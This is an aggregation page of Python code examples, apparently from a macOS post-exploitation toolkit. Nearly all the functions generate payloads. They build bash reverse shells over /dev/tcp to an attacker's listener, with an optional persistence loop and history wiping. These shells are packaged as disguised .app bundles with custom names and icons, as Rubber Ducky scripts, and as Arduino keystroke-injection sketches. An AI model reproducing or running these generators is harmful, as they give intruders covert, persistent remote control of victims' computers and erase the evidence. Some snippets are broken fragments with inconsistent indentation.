Beispiel #1
0
 def set_host_port(self):
     try:
         lhost = h.getip()
         lport = None
         choice = input(h.info_general_raw("Local host: ")).strip(" ")
         if choice != "":
             lhost = choice
         while True:
             lport = input(h.info_general_raw("Local port: ")).strip(" ")
             if not lport:
                 lport = 4444
             try:
                 lport = int(lport)
             except ValueError:
                 h.info_error("Invalid port, please enter a valid integer.")
                 continue
             if lport < 1024:
                 h.info_error("Invalid port, please enter a value >= 1024.")
                 continue
             break
         h.info_general("Using " + lhost + ":" + str(lport) + "...")
         self.host = socket.gethostbyname(lhost)
         self.port = lport
         return True
     except KeyboardInterrupt:
         return
	def run(self,server):
		while 1:
			shell = raw_input(h.info_general_raw("Target Shell: "))
                        name = raw_input(h.info_general_raw("Application Name: "))
                        icon = raw_input(h.info_general_raw("Application Icon: "))
			persistence = raw_input(h.info_question_raw("Make Persistent? (y/N): ")).lower()
			if persistence == "y":
				shell_command = "while true; do $("+shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1); sleep 5; done & "
				break
			elif persistence == "n" or not persistence:
				shell_command = shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1;"
				break
			else:
				h.info_error("Unrecognized option!")

		if os.path.exists("payloads") == False:
			os.mkdir("payloads")
		if os.path.exists("payloads/macos_application") == False:
			os.mkdir("payloads/macos_application")
			os.system("""
cp -r data/app/payload.app payloads/macos_application
mv payloads/macos_application/payload.app payloads/macos_application/"""+name+""".app
mv """+icon+""" payloads/macos_application/"""+name+""".app/Contents/Resources/payload.icns
                        """)
		payload_save_path = "payloads/macos_application/"+name+".app/Contents/MacOS/payload.sh"
                sas = "payloads/macos_application/"+name+".app"
		payload = """\
#! /usr/bin/env bash
"""+shell_command+"""
                """
		f = open(payload_save_path,"w")
		f.write(payload)
		f.close()
		h.info_general("Payload saved to " + sas)
		os.system("chmod +x payloads/macos_application/"+name+".app/Contents/MacOS/payload.sh")
Beispiel #3
0
	def run(self,server):
		while 1:
			shell = raw_input(h.info_general_raw("Target shell: ")).strip(" ")
			while shell == "":
			    shell = raw_input(h.info_general_raw("Target shell: ")).strip(" ")
			persistence = raw_input(h.info_question_raw("Make persistent? (y/n): ")).strip(" ").lower()
			if persistence == "y":
				shell_command = "while true; do $("+shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1); sleep 5; done & "
				break
			else:
				shell_command = shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1;"
				break
		shell_command += "history -wc;killall Terminal"
		path = raw_input(h.info_general_raw("Output path: ")).strip(" ")
		if path == "":
		    path = "payload.txt"
		if os.path.isdir(path):
		    if os.path.exists(path):
			if path[-1:] == "/":
                             payload_save_path = path + "payload.txt"
                        else:
                             payload_save_path = path + "/payload.txt"
		    else:
			h.info_error("Local directory: "+path+": does not exist!")
			exit
		else:
		    direct = os.path.split(path)[0]
		    if direct == "":
			direct = "."
		    else:
			pass
		    if os.path.exists(direct):
		        if os.path.isdir(direct):
		            payload_save_path = path
		        else:
			    h.info_error("Error: "+direct+": not a directory!")
			    exit
		    else:
		        h.info_error("Local directory: "+direct+": does not exist!")
		        exit
			
		payload = """\
DELAY 500
COMMAND SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING """+shell_command+"""
DELAY 500
ENTER
DELAY 500"""
		h.info_general("Saving to " + payload_save_path + "...")
		f = open(payload_save_path,"w")
		f.write(payload)
		f.close()
		h.info_success("Saved to " + payload_save_path + "!")
    def run(self, server):
        while 1:
            shell = raw_input(h.info_general_raw("Target Shell: ")).strip(" ")
            icon = raw_input(
                h.info_general_raw("Application Icon: ")).strip(" ")
            persistence = raw_input(
                h.info_question_raw("Make Persistent? (y/n): ")).strip(
                    " ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            else:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
        path = raw_input(h.info_general_raw("Output File: ")).strip(" ")
        w = os.environ['OLDPWD']
        os.chdir(w)
        if os.path.isdir(path):
            if os.path.exists(path):
                if path[:-1] == "/":
                    payload_save_path = path + "payload.app"
                else:
                    payload_save_path = path + "/payload.app"
            else:
                h.info_error("Local directory: " + path + ": does not exist!")
                exit
        else:
            direct = os.path.split(path)[0]
            if os.path.exists(direct):
                if os.path.isdir(direct):
                    payload_save_path = path + "/Contents/MacOS/payload.sh"
                else:
                    h.info_error("Error: " + direct + ": not a directory!")
                    exit
            else:
                h.info_error("Local directory: " + direct +
                             ": does not exist!")
                exit
        os.system("cp -r data/app/payload.app " + path + " > /dev/null")
        os.system("mv " + icon + " " + path +
                  "/Contents/Resources/payload.icns > /dev/null")
        payload = """\
#! /usr/bin/env bash
""" + shell_command
        h.info_general("Saving to " + path + "...")
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_success("Saved to " + path + "!")
        os.system("chmod +x " + path + "/Contents/MacOS/payload.sh")
        g = os.environ['HOME']
        os.chdir(g + "/mouse")
Beispiel #5
0
	def run(self,server):
		shell = raw_input(h.info_general_raw("Target Shell: "))
		payload = shell+" &> /dev/tcp/"+server.host+"/"+str(server.port)+" 0>&1"
		backend = len(payload)
		print h.WHITE + "-"*backend + h.ENDC
		print h.COLOR_INFO+payload+h.ENDC
		print h.WHITE + "-"*backend + h.ENDC
Beispiel #6
0
	def run(self,server):
		shell = input(h.info_general_raw("Target shell: ")).strip(" ")
		if shell == "":
			shell = "sh"
		h.info_general("Creating payload...")
		payload = shell+" &> /dev/tcp/"+server.host+"/"+str(server.port)+" 0>&1"
		h.info_command(payload)
Beispiel #7
0
 def set_host_port(self):
     try:
         lhost = h.getip()
         lport = None
         choice = input(h.info_general_raw("Local host: ")).strip(" ")
         if choice != "":
             lhost = choice
         lport = input(h.info_general_raw("Local port: ")).strip(" ")
         if not lport:
             lport = 4444
         self.host = socket.gethostbyname(lhost)
         try:
             self.port = int(lport)
         except:
             self.port = lport
         return True
     except KeyboardInterrupt:
         return
Beispiel #8
0
    def run(self, server):
        while 1:
            shell = raw_input(h.info_general_raw("Target Shell: ")).strip(" ")
            persistence = raw_input(
                h.info_question_raw("Make Persistent? (y/N): ")).strip(
                    " ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                shell_clean = "history -wc;killall Terminal"
                break
            elif persistence == "n" or not persistence:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                shell_clean = "history -wc;killall Terminal"
                break
            else:
                h.info_error("Unrecognized option!")

        shell_command += "history -wc;killall Terminal"
        if os.path.exists("payloads") == False:
            os.mkdir("payloads")
        if os.path.exists("payloads/rubber_duck") == False:
            os.mkdir("payloads/rubber_duck")
        payload_save_path = "payloads/rubber_duck/payload.txt"
        payload = """\
DELAY 500
COMMAND SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING """ + shell_command + """
DELAY 500
ENTER
DELAY 500
"""
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_general("Payload saved to " + payload_save_path)
Beispiel #9
0
    def run(self, server):
        while 1:
            shell = input(h.info_general_raw("Target shell: ")).strip(" ")
            while shell == "":
                shell = input(h.info_general_raw("Target shell: ")).strip(" ")
                icon = input(
                    h.info_general_raw("Application icon: ")).strip(" ")
            while icon == "":
                icon = input(
                    h.info_general_raw("Application icon: ")).strip(" ")
            persistence = input(h.info_question_raw(
                "Make persistent? (y/n): ")).strip(" ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            else:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
        shell_command += "history -wc;killall Terminal"
        path = input(h.info_general_raw("Output path: ")).strip(" ")
        if path == "":
            path = "payload.app"
        if os.path.isdir(path):
            if os.path.exists(path):
                if path[-1] == "/":
                    payload_save_path = path + "payload.app"
                else:
                    payload_save_path = path + "/payload.app"
            else:
                h.info_error("Local directory: " + path + ": does not exist!")
                exit
        else:
            direct = os.path.split(path)[0]
            if direct == "":
                direct = "."
            else:
                pass
            if os.path.exists(direct):
                if os.path.isdir(direct):
                    payload_save_path = path
                else:
                    h.info_error("Error: " + direct + ": not a directory!")
                    exit
            else:
                h.info_error("Local directory: " + direct +
                             ": does not exist!")
                exit
        h.info_general("Creating payload...")
        os.system("cp -r data/app/payload.app " + path + " > /dev/null")
        os.system("mv " + icon + " " + path +
                  "/Contents/Resources/payload.icns > /dev/null")
        payload = """\
#! /usr/bin/env bash
""" + shell_command
        h.info_general("Saving to " + path + "...")
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_success("Saved to " + path + "!")
        os.system("chmod +x " + path + "/Contents/MacOS/payload.sh")
Beispiel #10
0
    def run(self, server):
        while 1:
            shell = raw_input(h.info_general_raw("Target Shell: ")).strip(" ")
            persistence = raw_input(
                h.info_question_raw("Make Persistent? (y/n): ")).strip(
                    " ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            else:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
        shell_command += "history -wc;killall Terminal"
        path = raw_input(h.info_general_raw("Output File: ")).strip(" ")
        w = os.environ['OLDPWD']
        os.chdir(w)
        if os.path.isdir(path):
            if os.path.exists(path):
                if path[:-1] == "/":
                    payload_save_path = path + "payload.ino"
                else:
                    payload_save_path = path + "/payload.ino"
            else:
                h.info_error("Local directory: " + path + ": does not exist!")
                exit
        else:
            direct = os.path.split(path)[0]
            if os.path.exists(direct):
                if os.path.isdir(direct):
                    payload_save_path = path
                else:
                    h.info_error("Error: " + direct + ": not a directory!")
                    exit
            else:
                h.info_error("Local directory: " + direct +
                             ": does not exist!")
                exit
        payload = """\
#include "Keyboard.h"

void typeKey(uint8_t key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

void setup()
{
  Keyboard.begin();

  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(' ');
  Keyboard.releaseAll();

  delay(500);
  Keyboard.print(F("terminal"));

  delay(500);
  typeKey(KEY_RETURN);

  delay(500);
  Keyboard.print(F(\"""" + shell_command + """\"));

  delay(500);
  typeKey(KEY_RETURN);

  Keyboard.end();
}

void loop() {}"""
        h.info_general("Saving to " + payload_save_path + "...")
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_success("Saved to " + payload_save_path + "!")
        g = os.environ['HOME']
        os.chdir(g + "/mouse")
    def run(self, server):
        while 1:
            shell = input(h.info_general_raw("Target shell: ")).strip(" ")
            if shell == "":
                shell = "sh"
            persistence = input(h.info_question_raw(
                "Make persistent? (y/n): ")).strip(" ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            else:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
        shell_command += "history -wc;killall Terminal"
        path = input(h.info_general_raw("Output path: ")).strip(" ")
        if path == "":
            path = "payload.ino"
        if os.path.isdir(path):
            if os.path.exists(path):
                if path[-1] == "/":
                    payload_save_path = path + "payload.ino"
                else:
                    payload_save_path = path + "/payload.ino"
            else:
                h.info_error("Local directory: " + path + ": does not exist!")
                input("Press enter to continue...").strip(" ")
                os.system("touch .nopayload")
                return
        else:
            direct = os.path.split(path)[0]
            if direct == "":
                direct = "."
            else:
                pass
            if os.path.exists(direct):
                if os.path.isdir(direct):
                    payload_save_path = path
                else:
                    h.info_error("Error: " + direct + ": not a directory!")
                    input("Press enter to continue...").strip(" ")
                    os.system("touch .nopayload")
                    return
            else:
                h.info_error("Local directory: " + direct +
                             ": does not exist!")
                input("Press enter to continue...").strip(" ")
                os.system("touch .nopayload")
                return
        h.info_general("Creating payload...")
        payload = """\
#include "Keyboard.h"

void typeKey(uint8_t key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

void setup()
{
  Keyboard.begin();

  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(' ');
  Keyboard.releaseAll();

  delay(500);
  Keyboard.print(F("terminal"));

  delay(500);
  typeKey(KEY_RETURN);

  delay(500);
  Keyboard.print(F(\"""" + shell_command + """\"));

  delay(500);
  typeKey(KEY_RETURN);

  Keyboard.end();
}

void loop() {}"""
        h.info_general("Saving to " + payload_save_path + "...")
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_success("Saved to " + payload_save_path + "!")
Beispiel #12
0
	def run(self,server):
		while 1:
			shell = input(h.info_general_raw("Target shell: ")).strip(" ")
			if shell == "":
				shell = "sh"
			persistence = input(h.info_question_raw("Make persistent? (y/n): ")).strip(" ").lower()
			if persistence == "y":
				shell_command = "while true; do $("+shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1); sleep 5; done & "
				break
			else:
				shell_command = shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1;"
				break
		shell_command += "history -wc;killall Terminal"
		path = input(h.info_general_raw("Output path: ")).strip(" ")
		if path == "":
			path = "payload.txt"
		w = os.environ['OLDPWD']
		os.chdir(w)
		if os.path.isdir(path):
			if os.path.exists(path):
				if path[-1] == "/":
					payload_save_path = path + "payload.txt"
				else:
					payload_save_path = path + "/payload.txt"
			else:
				h.info_error("Local directory: "+dest+": does not exist!")
				g = os.environ['HOME']
				os.chdir(g + "/mouse")
				input("Press enter to continue...").strip(" ")
				os.system("touch .nopayload")
				return
		else:
			direct = os.path.split(path)[0]
			if direct == "":
				direct = "."
			else:
				pass
			if os.path.exists(direct):
				if os.path.isdir(direct):
					payload_save_path = path
				else:
					h.info_error("Error: "+direct+": not a directory!")
					g = os.environ['HOME']
					os.chdir(g + "/mouse")
					input("Press enter to continue...").strip(" ")
					os.system("touch .nopayload")
					return
			else:
				h.info_error("Local directory: "+direct+": does not exist!")
				g = os.environ['HOME']
				os.chdir(g + "/mouse")
				input("Press enter to continue...").strip(" ")
				os.system("touch .nopayload")
				return
		h.info_general("Creating payload...")
		payload = """\
DELAY 500
COMMAND SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING """+shell_command+"""
DELAY 500
ENTER
DELAY 500"""
		h.info_general("Saving to " + payload_save_path + "...")
		f = open(payload_save_path,"w")
		f.write(payload)
		f.close()
		h.info_success("Saved to " + payload_save_path + "!")
		g = os.environ['HOME']
		os.chdir(g + "/mouse")